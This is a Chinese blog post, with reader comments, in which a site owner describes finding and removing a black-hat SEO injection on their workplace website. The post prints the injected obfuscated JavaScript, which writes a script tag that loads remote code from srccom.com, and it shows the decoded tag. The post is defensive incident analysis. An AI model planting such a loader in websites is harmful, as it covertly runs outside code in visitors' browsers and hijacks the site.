Day 8829 一年多了才看见的黑帽SEO

晚上无聊,点到自家单位的网站,等待加载的时候发现一个没见过的域名【srccom.com】,印象中自己好像没有加过类似的代码,于是开始倒查,发现调用的代码来自这个JS(由于问题已经处理,所以文件已经变成404):

文件内容如下:

function CurrentXmlFrmFocus()
{
 	var arnElement=[2,9,3,8,2,8,7,5,4,3,10,5];
 	var arsOffset=[" ",":",".","/","<",">","=","'","SRC","COM","SCRIPT","HTTP"];
 	var ardPopOpacity=[4,10,0,8,6,7,11,1,3,3,8,9];
 	var strgAttribute="";ardPopOpacity=ardPopOpacity.concat(arnElement);
 	for(var i=0;i<ardPopOpacity.length;i++)strgAttribute=strgAttribute+arsOffset[ardPopOpacity[i]];document.writeln(strgAttribute);
}
CurrentXmlFrmFocus();

绕了个弯子,稍微分析一下的话,是向当前页写入以下一行代码:

<script src=”http://srccom.com/src.src” />

于是反向访问过去,冒出一大堆代码:

由于之前也被别人写入过SEO的代码,猜测可能是一样的东西,所以没有细看,选了一个关键字在网上搜了一下,果然是做黑帽SEO的淘宝客(介绍文章在这里)。

删掉对应页面中的调用代码,然后立即回到服务器上看修改时间,发现是去年11月写入的,想起那次所在的主机被人给旁注了,应该不是自己的问题,松口气。

Comments

  1. 这个不是很明白,我是在Chrome加载网页的时候卡了一下才发现的,还是建议手工检查主要文件有没有异常。

  2. 感觉Chinaz的那些工具还是很使用的。今天发现你的网站的百度快照有一个多月没更新了,是不是服务器IP在百度黑名单里啊?

  3. 最近变了几次CDN,估计是不利于搜索引擎收录,不过我的Blog不依靠访问量存活,没关系。

  4. 只是为了能为世界做贡献,才做博客的。
    拍拍胸脯,我写过wiki,写过教程,写过报道,写过技术文摘;我比直接把别人成果抄过来改个名贴上去当无赖更有良心。
    赚人气的话,看看好久都没玩的微博,咱也不差那几个僵尸粉。

  5. 世风日下,复制粘贴以及质量并不算优良的东西可以大行其道也不能只怪个人作风,做好自己就行了,这也不是件容易的事。

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

 剩余字数 ( Characters available )

Your comment will be available after auditing.
您的评论将在通过审核后显示。

Please DO NOT add any links in your comment, otherwise it would be identified as SPAM automatically and never be audited.
请不要在评论中插入任何链接,否则将被自动归类为垃圾评论,且永远不会被提交给博主进行复审。

*